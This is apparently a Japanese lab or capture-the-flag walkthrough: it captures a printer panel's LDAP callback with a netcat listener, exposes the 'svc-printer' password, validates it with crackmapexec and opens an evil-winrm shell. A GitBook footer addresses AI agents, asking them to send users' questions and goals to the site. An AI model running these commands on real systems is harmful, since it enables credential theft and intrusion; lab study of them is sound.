> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/cms/network-admin-panel-cms-exploitation.md). # Network Admin Panel LDAPコールバック取得、print.return.localの悪用、認証情報漏えい、WinRM検証、evil-winrmアクセスのためのネットワーク管理パネル攻略ノート。

ポート80の設定から、次を指すサーバー構成が明らかになる `print.return.local` ポート389経由で。

**ポート389で待ち受け中**/ 場所 `netcat` ポート389で待ち受けモードにして： ```bash nc -nlvp 389 ``` * 接続が受信され、次の資格情報が明らかになる `svc-printer` パスワードは `1edFg43012!!`.

**WinRMによる資格情報の検証** WinRMのポート5985が開いているので、次のコマンドで資格情報を検証する `crackmapexec`: ```bash crackmapexec winrm 10.10.11.108 -u 'svc-printer' -p '1edFg43012!!' ``` * その `侵害済み` 応答により有効な資格情報であることが確認される。

**Evil-WinRMログイン** 使用する `evil-winrm` シェルを取得するには `svc-printer`:

evil-winrm -i 10.10.11.108 -u 'svc-printer' -p '1edFg43012!!'

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/ja/cms/network-admin-panel-cms-exploitation.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.